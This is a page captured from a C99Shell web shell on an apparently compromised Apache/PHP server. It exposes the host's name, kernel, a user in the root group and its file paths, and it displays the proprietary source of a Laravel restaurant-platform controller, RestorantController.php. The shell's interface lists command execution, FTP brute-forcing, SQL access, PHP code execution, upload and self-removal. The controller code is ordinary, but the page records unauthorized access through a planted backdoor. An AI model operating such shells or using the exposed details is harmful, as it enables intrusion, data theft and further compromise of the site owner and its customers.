!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestorantController.php (35.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Categories;
use 
App\City;
use 
App\Events\CallWaiter;
use 
App\Extras;
use 
App\Hours;
use 
App\Imports\RestoImport;
use 
App\Exports\VendorsExport;
use 
App\Items;
use 
App\Models\LocalMenu;
use 
App\Models\Options;
use 
App\Notifications\RestaurantCreated;
use 
App\Notifications\WelcomeNotification;
use 
App\Notifications\CallWaiter as NotificationsCallWaiter;
use 
App\Plans;
use 
App\Restorant;
use 
App\Tables;
use 
App\User;
use 
App\Traits\Fields;
use 
App\Traits\Modules;
use 
Artisan;
use 
Carbon\Carbon;
use 
DB;
use 
Illuminate\Broadcasting\InteractsWithSockets;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Cache;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Str;
use 
Akaunting\Module\Facade as Module;
use 
App\Events\NewVendor;
use 
Illuminate\Support\Facades\Session;
use 
Image;
use 
Maatwebsite\Excel\Facades\Excel;
use 
Spatie\Geocoder\Exceptions\CouldNotGeocode;
use 
Spatie\Permission\Models\Role;
use 
Spatie\Geocoder\Geocoder;

class 
RestorantController extends Controller
{
    use 
Fields;
    use 
Modules;
    
    protected 
$imagePath 'uploads/restorants/';

    
/**
     * Auth checker function for the crud.
     */
    
private function authChecker()
    {
        
$this->ownerOnly();
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Restorant $restaurants)
    {

        
//With downloaod
        
if (isset($_GET['downlodcsv'])) {
            
$items = [];
            
$vendorsToDownload=auth()->user()->hasRole('admin')?$restaurants->orderBy('id''desc')->get():$restaurants->whereIn('id',auth()->user()->getManagerVendors());
            foreach (
$vendorsToDownload as $key => $vendor) {
                
$item = [
                    
'vendor_name'=>$vendor->name,
                    
'vendor_id'=>$vendor->id,
                    
'created'=>$vendor->created_at,
                    
'owner_name'=>$vendor->user->name,
                    
'owner_email'=>$vendor->user->email
                  
];
                
array_push($items$item);
            }

            return 
Excel::download(new VendorsExport($items), 'vendors_'.time().'.csv'\Maatwebsite\Excel\Excel::CSV);
        }
        
        if (
auth()->user()->hasRole('admin')) {
            
$allRes$restaurants->orderBy('id''desc')->pluck('name','id');
            return 
view('restorants.index', [
                
'parameters'=>count($_GET) != 0,
                
'hasCloner'=>Module::has('cloner'),
                
'allRes'=>$allRes,
                
'restorants' => $restaurants->orderBy('id''desc')->paginate(10)]);
        } if (
auth()->user()->hasRole('manager')) {
            
$allRes$restaurants->whereIn('id',auth()->user()->getManagerVendors())->orderBy('id''desc')->pluck('name','id');
            return 
view('restorants.index', [
                
'parameters'=>count($_GET) != 0,
                
'hasCloner'=>Module::has('cloner'),
                
'allRes'=>$allRes,
                
'restorants' => $restaurants->whereIn('id',auth()->user()->getManagerVendors())->orderBy('id''desc')->paginate(10)]);
        } else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    public function 
stopImpersonate()
    {
        
        
Auth::user()->stopImpersonating();

        return 
redirect()->route('home');
    }

    public function 
loginas($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);
        if (
$this->verifyAccess($restaurant)) {
            
//Login as owner
            
Session::put('impersonate'$restaurant->user->id);
            return 
redirect()->route('home');
            
//Auth::login($restaurant->user, true);
           // return $this->edit($restaurant);
        
} else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        if (
auth()->user()->hasRole(['admin','manager'])) {
            
$title=Module::has('cloner')&&isset($_GET['cloneWith'])?__('Clone Restaurant')." ".(Restorant::findOrFail($_GET['cloneWith'])->name):__('Add Restaurant');
            return 
view('restorants.create',['title'=>$title]);
        } else {
            return 
redirect()->route('orders.index')->withStatus(__('No Access'));
        }
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
//Validate first
        
$request->validate([
            
'name' => ['required''string''unique:companies,name''max:255'],
            
'name_owner' => ['required''string''max:255'],
            
'email_owner' => ['required''string''email''unique:users,email,NULL,id,deleted_at,NULL''max:255'],
            
'phone_owner' => ['required''string''regex:/^([0-9\s\-\+\(\)]*)$/'],
        ]);

        
//Create the user
        
$generatedPassword Str::random(10);
        
$owner = new User;
        
$owner->name strip_tags($request->name_owner);
        
$owner->email strip_tags($request->email_owner);
        
$owner->phone strip_tags($request->phone_owner) | '';
        
$owner->api_token Str::random(80);

        
$owner->password Hash::make($generatedPassword);
        
$owner->save();

        
//Assign role
        
$owner->assignRole('owner');

        
//Create Restorant
        
$restaurant = new Restorant;
        
$restaurant->name strip_tags($request->name);
        
$restaurant->user_id $owner->id;
        
$restaurant->description strip_tags($request->description.'');
        
$restaurant->minimum $request->minimum 0;
        
$restaurant->lat 0;
        
$restaurant->lng 0;
        
$restaurant->address '';
        
$restaurant->phone $owner->phone;
        
$restaurant->subdomain $this->makeAlias(strip_tags($request->name));
        
$restaurant->save();

       
//default hours
       
if(!$request->has('cloneWith')){
        
$hours = new Hours();
        
$hours->restorant_id $restaurant->id;

        
$shift="_shift".$request->shift_id;
        
        
$hours->{'0_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'0_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'1_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'1_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'2_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'2_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'3_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'3_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'4_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'4_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'5_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'5_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
$hours->{'6_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'6_to'} = config('settings.time_format') == "AM/PM" "5:00 PM" "17:00";
        
        
$hours->save();
       }

        
$restaurant->setConfig('disable_callwaiter'0);
        
$restaurant->setConfig('disable_ordering'0);
        
$restaurant->setConfig('disable_continues_ordering'0);

        
//Send email to the user/owner
        
$owner->notify(new RestaurantCreated($generatedPassword$restaurant$owner));

        
//Fire event
        
NewVendor::dispatch($owner,$restaurant);

        if(
$request->has('cloneWith')){
            return 
redirect()->route('cloner.index',['newid'=>$restaurant->id,'oldid'=>$request->cloneWith]);
        }else{
            return 
redirect()->route('admin.restaurants.index')->withStatus(__('Restaurant successfully created.'));
        }

        
    }

    
/**
     * Display the specified resource.
     *
     * @param  \App\Restorant  $restaurant
     * @return \Illuminate\Http\Response
     */
    
public function show($restaurantid)
    {
        
//
    
}

    private function 
verifyAccess($restaurant){
        return 
auth()->user()->id == $restaurant->user_id || auth()->user()->hasRole('admin') || (auth()->user()->hasRole('manager') && in_array($restaurant->id,auth()->user()->getManagerVendors()));
    }


    public function 
addnewshift($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);
        if (
$this->verifyAccess($restaurant)) {
            
$hours = new Hours();
            
$hours->restorant_id $restaurant->id;
            
$hours->save();
            return 
redirect()->route('admin.restaurants.edit'$restaurant->id)->withStatus(__('New shift added!'));
        }else{
            
abort(404);
        }
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Restorant  $restaurant
     * @return \Illuminate\Http\Response
     */
    
public function edit($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);

        
//Days of the week
        
$timestamp strtotime('next Monday');
        for (
$i 0$i 7$i++) {
            
$days[] = strftime('%A'$timestamp);
            
$timestamp strtotime('+1 day'$timestamp);
        }

        
//Generate days columns
        
$hoursRange = ['id'];
        for (
$i 0$i 7$i++) {
            
$from $i.'_from';
            
$to $i.'_to';

            
array_push($hoursRange$from);
            
array_push($hoursRange$to);
        }

        

        

        
//Languages
        
$available_languages=[];
        
$default_language=null;

        try {
            if(
$restaurant->localMenus()->get()){
                
$available_languages=$restaurant->localMenus()->get()->pluck('languageName','id');
                foreach (
$restaurant->localMenus()->get() as $key => $localMenu) {
                    if(
$localMenu->default.""=="1"){
                        
$default_language$localMenu->id;
                    }
                }
            }
        } catch (
\Throwable $th) {
        }
        
        

        
//currency
        
if(strlen($restaurant->currency)>1){
            
$currency$restaurant->currency;
        }else{
            
$currency=config('settings.cashier_currency');
        }

        
//App fields
        
$rawFields=$this->vendorFields($restaurant->getAllConfigs());
        
//Stripe fields
        
if(config('settings.stripe_useVendor')){
            
array_push($rawFields,[
                
"separator"=>"Stripe configuration",
                
"title"=> "Enable Stripe for payments when ordering",
                
"key"=> "stripe_enable",
                
"ftype"=> "bool",
                
"value"=>$restaurant->getConfig('stripe_enable',"false"),
                
"onlyin"=>"qrsaas"
            
],[
                
"title"=>"Stripe key"
                
"key"=>"stripe_key"
                
"value"=>$restaurant->getConfig('stripe_key',""),
                
"onlyin"=>"qrsaas"
            
],
            [
                
"title"=>"Stripe secret"
                
"key"=>"stripe_secret"
                
"value"=>$restaurant->getConfig('stripe_secret',""),
                
"onlyin"=>"qrsaas"
            
]);
        }
  
       
        
$appFields=$this->convertJSONToFields($rawFields);

        
$shiftsData Hours::where(['restorant_id' => $restaurant->id])->get($hoursRange);
        
$shifts=[];
        foreach (
$shiftsData as $key => $hours) {
            
$shiftId=$hours->id;
            
$workingHours=$hours->toArray();
            unset(
$workingHours['id']);
            
$shifts[$shiftId]=$workingHours;
        }

        if (
$this->verifyAccess($restaurant)) {
            
$cities=[];
            try {
                
$cities=City::get()->pluck('name''id');
            } catch (
\Throwable $th) {
            }
            return 
view('restorants.edit', [
                
'hasCloner'=>Module::has('cloner')&& auth()->user()->hasRole(['admin','manager']),
                
'restorant' => $restaurant,
                
'shifts'=>$shifts,
                
'days'=>$days,
                
'cities'=> $cities,
                
'plans'=>Plans::get()->pluck('name''id'),
                
'available_languages'=> $available_languages,
                
'default_language'=>$default_language,
                
'currency'=>$currency,
                
'appFields'=>$appFields
                
]);
        }

        return 
redirect()->route('home')->withStatus(__('No Access'));
    }

    public function 
updateApps(Request $requestRestorant $restaurant){
         
//Update custom fields
         
if($request->has('custom')){
            
$restaurant->setMultipleConfig($request->custom);
        }
        return 
redirect()->route('admin.restaurants.edit'$restaurant->id)->withStatus(__('Restaurant successfully updated.'));
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Restorant  $restaurant
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$restaurantid)
    {
        
$restaurant Restorant::findOrFail($restaurantid);
        
$restaurant->name strip_tags($request->name);
        
$thereIsRestaurantAddressChange=$restaurant->address.""!=$request->address."";
        
        
$restaurant->address strip_tags($request->address);
        
$restaurant->phone strip_tags($request->phone);
        
        
$restaurant->description strip_tags($request->description);
        
$restaurant->minimum strip_tags($request->minimum);

        if(
$request->has('fee')){
            
$restaurant->fee $request->fee;
            
$restaurant->static_fee $request->static_fee;
        }
    
        
//Update subdomain only if rest is not older than 1 day
        
if(Carbon::parse($restaurant->created_at)->diffInDays(Carbon::now())<2){
            
$restaurant->subdomain $this->makeAlias(strip_tags($request->name));
        }

        if(
auth()->user()->hasRole('admin')){
            
$restaurant->is_featured $request->is_featured != null 0;
        }

        
        
$restaurant->can_pickup $request->can_pickup == 'true' 0;
        
$restaurant->can_deliver $request->can_deliver == 'true' 0;
        
$restaurant->can_dinein $request->can_dinein == 'true' 0;
        if(
$request->has('self_deliver')){
            
$restaurant->self_deliver $request->self_deliver == 'true' 0;
        }
        
$restaurant->free_deliver $request->free_deliver == 'true' 0;

        if(
$request->has('disable_callwaiter')){
            
$restaurant->setConfig('disable_callwaiter',$request->disable_callwaiter == 'true' 0);
        }

        
        if(
$request->has('disable_ordering')){
            
$restaurant->setConfig('disable_ordering',$request->disable_ordering == 'true' 0);
        }

        if(
$request->has('disable_continues_ordering')){
            
$restaurant->setConfig('disable_continues_ordering',$request->disable_continues_ordering == 'true' 0);
        }


        if(
$request->has('payment_info')){
            
$restaurant->payment_info $request->payment_info;
        }

        if(
$request->has('whatsapp_phone')){
            
$restaurant->whatsapp_phone $request->whatsapp_phone;
        }

        if (isset(
$request->city_id)) {
            
$restaurant->city_id $request->city_id;
        }

        if (
$request->hasFile('resto_logo')) {
            
$restaurant->logo $this->saveImageVersions(
                
$this->imagePath,
                
$request->resto_logo,
                [
                    [
'name'=>'large''w'=>590'h'=>400],
                    [
'name'=>'medium''w'=>295'h'=>200],
                    [
'name'=>'thumbnail''w'=>200'h'=>200],
                ]
            );
        }

        if (
$request->hasFile('resto_wide_logo')) {
       
            
$uuid Str::uuid()->toString();
            
$request->resto_wide_logo->move(public_path($this->imagePath), $uuid.'_original.'.'png');
            
$restaurant->setConfig('resto_wide_logo',$uuid);
        }

        if (
$request->hasFile('resto_wide_logo_dark')) {
       
            
$uuid Str::uuid()->toString();
            
$request->resto_wide_logo_dark->move(public_path($this->imagePath), $uuid.'_original.'.'png');
            
$restaurant->setConfig('resto_wide_logo_dark',$uuid);
        }

        
        if (
$request->hasFile('resto_cover')) {
            
$restaurant->cover $this->saveImageVersions(
                
$this->imagePath,
                
$request->resto_cover,
                [
                    [
'name'=>'cover''w'=>2000'h'=>1000],
                    [
'name'=>'thumbnail''w'=>400'h'=>200],
                ]
            );
        }

        
//Change default language
        //If language is different than the current one
        
if($request->default_language){
            
$currentDefault=$restaurant->localMenus()->where('default',1)->first();
            if(
$currentDefault!=null&&$currentDefault->id!=$request->default_language){
                
//Remove Default from the old default, or curernt default
                
$currentDefault->default=0;
                
$currentDefault->update();
            }

            
//Make the new language default
            
$newDefault=$restaurant->localMenus()->findOrFail($request->default_language);
            
$newDefault->default=1;
            
$newDefault->update();
        }
        

        
//Change currency
        
$restaurant->currency=$request->currency;

        
//Change do converstion
        
$restaurant->do_covertion=$request->do_covertion=="true"?1:0;


        
$restaurant->update();


        
//Update custom fields
        
if($request->has('custom')){
            
$restaurant->setMultipleConfig($request->custom);
        }

        if(
$thereIsRestaurantAddressChange/*&&config('app.isft')*/){
            
//Do Update of the restaurant location
            
$client = new \GuzzleHttp\Client();
            
$geocoder = new Geocoder($client);
            
$geocoder->setApiKey(config('geocoder.key'));

         
            try {
                
$geoResults $geocoder->getCoordinatesForAddress($restaurant->address);
               
                if (
$geoResults['formatted_address'] == 'result_not_found') {
                    
//No results found - do nothing
                
} else {
                    
//Ok, we have lat and lng
                    
$restaurant->lat=$geoResults['lat'];
                    
$restaurant->lng=$geoResults['lng'];
                    
$restaurant->update();
                }
            } catch (
CouldNotGeocode $e) {
                
//API no capabilities - do nothing
            
}

            
            
//End update location
        
}

        if (
auth()->user()->hasRole('admin')) {
            return 
redirect()->route('admin.restaurants.edit'$restaurant->id)->withStatus(__('Restaurant successfully updated.'));
        } else {
            return 
redirect()->route('admin.restaurants.edit'$restaurant->id)->withStatus(__('Restaurant successfully updated.'));
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  \App\Restorant  $restaurant
     * @return \Illuminate\Http\Response
     */
    
public function destroy($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);
        if (! 
auth()->user()->hasRole('admin')) {
            
dd('Not allowed');
        }

        
$restaurant->active 0;
        
$restaurant->save();

        return 
redirect()->route('admin.restaurants.index')->withStatus(__('Restaurant successfully deactivated.'));
    }

    public function 
remove($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);
        if (! 
auth()->user()->hasRole('admin')) {
            
dd('Not allowed');
        }

        
$user $restaurant->user;

        
//delete restaurant
        
$user->restorant->delete();

        if (
$user->email != 'owner@example.com') {
            
//delete user
            
$user->delete();
        }

        return 
redirect()->route('admin.restaurants.index')->withStatus(__('Restaurant successfully removed from database.'));
    }

    public function 
getCoordinatesForAddress(Request $request)
    {
        
$client = new \GuzzleHttp\Client();
        
$geocoder = new Geocoder($client);
        
$geocoder->setApiKey(config('geocoder.key'));

        
$geoResults $geocoder->getCoordinatesForAddress($request->address);

        
$data = ['status'=>true'results'=>$geoResults];

        return 
response()->json($data);
    }

    public function 
updateLocation(Restorant $restaurantRequest $request)
    {
        
$restaurant->lat $request->lat;
        
$restaurant->lng $request->lng;

        
$restaurant->update();

        return 
response()->json([
            
'status' => true,
            
'errMsg' => '',
        ]);
    }

    public function 
updateRadius(Restorant $restaurantRequest $request)
    {
        
$restaurant->radius $request->radius;
        
$restaurant->update();

        return 
response()->json([
            
'status' => true,
            
'msg' => '',
        ]);
    }

    public function 
updateDeliveryArea(Restorant $restaurantRequest $request)
    {
        
$restaurant->radius json_decode($request->path);
        
$restaurant->update();

        return 
response()->json([
            
'status' => true,
            
'msg' => '',
        ]);
    }

    public function 
getLocation($restaurantid)
    {
$restaurant=Restorant::findOrFail($restaurantid);
        return 
response()->json([
            
'data' => [
                
'lat' => $restaurant->lat,
                
'lng' => $restaurant->lng,
                
'area' => $restaurant->radius,
                
'id' => $restaurant->id,
            ],
            
'status' => true,
            
'errMsg' => '',
        ]);
    }

    public function 
import(Request $request)
    {
        
Excel::import(new RestoImportrequest()->file('resto_excel'));

        return 
redirect()->route('admin.restaurants.index')->withStatus(__('Restaurant successfully imported.'));
    }

    public function 
workingHoursremove(Hours $hours){
        if (!
$this->verifyAccess($hours->restorant)) {
            
abort(404);
        }


        
$hours->delete();
        return 
redirect()->route('admin.restaurants.edit',  $hours->restorant_id)->withStatus(__('Working hours successfully updated!'));
    }

    public function 
workingHours(Request $request)
    {
        
$hours Hours::where(['id' => $request->shift_id])->first();

        
$shift="_shift".$request->shift_id;
        
        
$hours->{'0_from'} = $request->{'0_from'.$shift} ?? null;
        
$hours->{'0_to'} = $request->{'0_to'.$shift} ?? null;
        
$hours->{'1_from'} = $request->{'1_from'.$shift} ?? null;
        
$hours->{'1_to'} = $request->{'1_to'.$shift} ?? null;
        
$hours->{'2_from'} = $request->{'2_from'.$shift} ?? null;
        
$hours->{'2_to'} = $request->{'2_to'.$shift} ?? null;
        
$hours->{'3_from'} = $request->{'3_from'.$shift} ?? null;
        
$hours->{'3_to'} = $request->{'3_to'.$shift} ?? null;
        
$hours->{'4_from'} = $request->{'4_from'.$shift} ?? null;
        
$hours->{'4_to'} = $request->{'4_to'.$shift} ?? null;
        
$hours->{'5_from'} = $request->{'5_from'.$shift} ?? null;
        
$hours->{'5_to'} = $request->{'5_to'.$shift} ?? null;
        
$hours->{'6_from'} = $request->{'6_from'.$shift} ?? null;
        
$hours->{'6_to'} = $request->{'6_to'.$shift} ?? null;
        
$hours->update();

        return 
redirect()->route('admin.restaurants.edit',  $request->rid)->withStatus(__('Working hours successfully updated!'));
    }

    public function 
showRegisterRestaurant()
    {
        return 
view('restorants.register');
    }
    

    public function 
storeRegisterRestaurant(Request $request)
    {
        
//Validate first
        
$theRules = [
            
'name' => ['required''string''unique:companies,name''max:255'],
            
'name_owner' => ['required''string''max:255'],
            
'email_owner' => ['required''string''email''unique:users,email,NULL,id,deleted_at,NULL''max:255'],
            
'phone_owner' => ['required''string''regex:/^([0-9\s\-\+\(\)]*)$/'],
        ];

        if (
strlen(config('settings.recaptcha_site_key')) > 2) {
            
$theRules['g-recaptcha-response'] = 'recaptcha';
        }

        
$request->validate($theRules);

        
//Create the user
        
$owner = new User;
        
$owner->name strip_tags($request->name_owner);
        
$owner->email strip_tags($request->email_owner);
        
$owner->phone strip_tags($request->phone_owner) | '';
        
$owner->active 0;
        
$owner->api_token Str::random(80);

        
$owner->password null;
        
$owner->save();

        
//Assign role
        
$owner->assignRole('owner');

        
//Send welcome email

        //welcome notification
        //Create Restorant
        
$restaurant = new Restorant;
        
$restaurant->name strip_tags($request->name);
        
$restaurant->user_id $owner->id;
        
$restaurant->description strip_tags($request->description.'');
        
$restaurant->minimum $request->minimum 0;
        
$restaurant->lat config('settings.default_lat',0);
        
$restaurant->lng config('settings.default_lng',0);
        
$restaurant->address '';
        
$restaurant->phone $owner->phone;
        
$restaurant->active 0;
        
$restaurant->subdomain null;
        
$restaurant->save();

        
//default hours
        
$hours = new Hours();
        
$hours->restorant_id $restaurant->id;

        
$shift="_shift".$request->shift_id;
        
        
$hours->{'0_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'0_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'1_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'1_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'2_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'2_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'3_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'3_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'4_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'4_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'5_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'5_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
$hours->{'6_from'} = config('settings.time_format') == "AM/PM" "9:00 AM" "09:00";
        
$hours->{'6_to'} = config('settings.time_format') == "AM/PM" "5:00 AM" "17:00";
        
        
$hours->save();

        
$restaurant->setConfig('disable_callwaiter'0);
        
$restaurant->setConfig('disable_ordering'0);

         
//Fire event
         
NewVendor::dispatch($owner,$restaurant);

        if (
config('app.isqrsaas') || config('settings.directly_approve_resstaurant')) {
            
//QR SaaS - or directly approve
            
$this->makeRestaurantActive($restaurant);

            
//We can have a usecase when lading id disabled
            
if(config('settings.disable_landing')){
                return 
redirect('/login')->withStatus(__('notifications_thanks_andcheckemail'));
            }else{
                
//Normal, go to landing
                
return redirect()->route('front')->withStatus(__('notifications_thanks_andcheckemail'));
            }

            
        } else {
            
//Foodtiger
            
return redirect()->route('newrestaurant.register')->withStatus(__('notifications_thanks_and_review'));
        }
    }

    private function 
makeRestaurantActive(Restorant $restaurant)
    {
        
//Activate the restaurant
        
$restaurant->active 1;
        
$restaurant->subdomain $this->makeAlias($restaurant->name);
        
$restaurant->update();

        
$owner $restaurant->user;

        
//if the restaurant is first time activated
        
if ($owner->password == null) {
            
//Activate the owner
            
$generatedPassword Str::random(10);

            
$owner->password Hash::make($generatedPassword);
            
$owner->active 1;
            
$owner->update();

            
//Send email to the user/owner
            
$owner->notify(new RestaurantCreated($generatedPassword$restaurant$owner));
        }
    }

    public function 
activateRestaurant($restaurantid)
    {
        
$restaurant=Restorant::findOrFail($restaurantid);
        
$this->makeRestaurantActive($restaurant);

        return 
redirect()->route('admin.restaurants.index')->withStatus(__('Restaurant successfully activated.'));
    }

    public function 
restaurantslocations()
    {
        if (!
auth()->user()->hasRole('admin')) {
            if(
auth()->user()->hasRole('owner')&&in_array("drivers"config('global.modules',[]))){
                return 
response()->json([
                    
'restaurants'=> [auth()->user()->restorant],
                ]);
            }else{
                
abort(404,'Not allowed');
            }
            
        }

        
$toRespond = [
            
'restaurants'=> Restorant::where('active'1)->get(),
        ];

        return 
response()->json($toRespond);
    }

    public function 
removedemo()
    {
        
//Find by phone number
        
$demoRestaurants Restorant::where('phone''(530) 625-9694')->get();
        foreach (
$demoRestaurants as $key => $restorant) {
            
$restorant->delete();
        }

        return 
redirect()->route('settings.index')->withStatus(__('Demo resturants removed.'));
    }

    public function 
callWaiter(Request $request)
    {
        
$CAN_USE_PUSHER strlen(config('broadcasting.connections.pusher.app_id')) > && strlen(config('broadcasting.connections.pusher.key')) > && strlen(config('broadcasting.connections.pusher.secret')) > 2;
        if (
$request->table_id) {
            
$table Tables::where('id'$request->table_id)->with('restoarea')->get()->first();

            if (!
$table->restaurant->getConfig('disable_callwaiter'0) && $CAN_USE_PUSHER) {
                
$msg __('notifications_notification_callwaiter');

                
event(new CallWaiter($table$msg));

                
//Fire push notification in the expo app
                
$table->restaurant->user->notify(new NotificationsCallWaiter($table->restaurant->user,$table$msg));
                

                return 
redirect()->back()->withStatus(__('The restaurant is notified. The waiter will come shortly!'));
            }
        } else {
            return 
redirect()->back()->withStatus(__('Please select table'));
        }
    }

        public function 
shareMenu()
        {
            
$this->authChecker();

            if (
config('settings.wildcard_domain_ready')) {
                
//$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? 'https://' : 'http://').auth()->user()->restorant->subdomain.'.'.str_replace('www.', '', $_SERVER['HTTP_HOST']);
                
$url str_replace('://''://'.auth()->user()->restorant->subdomain."."config('app.url',''));
            } else {
                
$url route('vendor'auth()->user()->restorant->subdomain);
            }

            return 
view('restorants.share', ['url' => $url'name'=>auth()->user()->restorant->name]);
        }

    public function 
downloadQR()
    {
        
$this->authChecker();

        if (
config('settings.wildcard_domain_ready')) {
            
$vendorURL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? 'https://' 'http://').auth()->user()->restorant->subdomain.'.'.str_replace('www.'''$_SERVER['HTTP_HOST']);
        }else if(
strlen(auth()->user()->restorant->getConfig('domain'))>3){
            
$vendorURL "https://".explode(' ',auth()->user()->restorant->getConfig('domain'))[0];
        }else {
            
$vendorURL route('vendor'auth()->user()->restorant->subdomain);
        }

        
$filename 'qr.png';

        if(isset(
$_GET['table_id'])){
            
$theTable=Tables::where('id',$_GET['table_id'])->first();
            if(
$theTable&&$theTable->restaurant_id==auth()->user()->restorant->id){
                
$tn=$theTable->restoarea $theTable->restoarea->name.''.$theTable->name $theTable->name;
                
$filename=Str::slug($tn'_').".png";
                
$vendorURL.="?tid=".$_GET['table_id'];
            }
            
            
        }
        

        if(
Module::has('qrgen')){
            
//With QR Module
            
return redirect((route('qrgen.gen',['name'=>$filename]))."?data=".$vendorURL);
        }else{
            
//Without QR module
            
$url 'https://api.qrserver.com/v1/create-qr-code/?size=512x512&format=png&data='.$vendorURL;
       
            
$tempImage tempnam(sys_get_temp_dir(), $filename);
            @
copy($url$tempImage);

            return 
response()->download($tempImage$filename,array('Content-Type:image/png'));
        }
        
        
    }

    
/**
     * Store a new language.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function storeNewLanguage(Request $request)
    {

        
//Obtain the restaurant and all the data needed
        
$data Restorant::with('categories.items.extras')->with('categories.items.options')->where('id'$request->restaurant_id)->get()->toArray();
        
$categoriesData $data[0]['categories'];

        
//1. Get the new locale and the current locale
        
$newLocale $request->locale;
        
$currentLocale config('app.locale');

        
$newEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][$newLocale]) ? config('config.env')[2]['fields'][0]['data'][$newLocale] : 'UNKNOWN';

        
//Create new language
        
$localMenu = new LocalMenu([
            
'restaurant_id'=>$request->restaurant_id,
             
'language'=>$newLocale,
              
'languageName'=>$newEnvLanguage,
              
'default'=>'0', ]
        );
        
$localMenu->save();

        
//2. Translate from the previous locale
        
foreach ($categoriesData as $keyC => $category) {
            (
Categories::class)::findOrFail($category['id'])->setTranslation('name'$newLocale$category['name'])->save();
            foreach (
$category['items'] as $keyI => $item) {
                (
Items::class)::findOrFail($item['id'])->setTranslation('name'$newLocale$item['name'])->save();
                (
Items::class)::findOrFail($item['id'])->setTranslation('description'$newLocale$item['description'])->save();
                foreach (
$item['extras'] as $keyI => $extra) {
                    (
Extras::class)::findOrFail($extra['id'])->setTranslation('name'$newLocale$extra['name'])->save();
                }
                foreach (
$item['options'] as $keyO => $option) {
                    (
Options::class)::findOrFail($option['id'])->setTranslation('name'$newLocale$option['name'])->save();
                }
            }
        }

        
//3. Change locale to the new local
        
app()->setLocale($newLocale);
        
session(['applocale_change' => $newLocale]);
      

        
//5. Redirect
        
return redirect()->route('items.index')->withStatus(__('New language successfully created.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--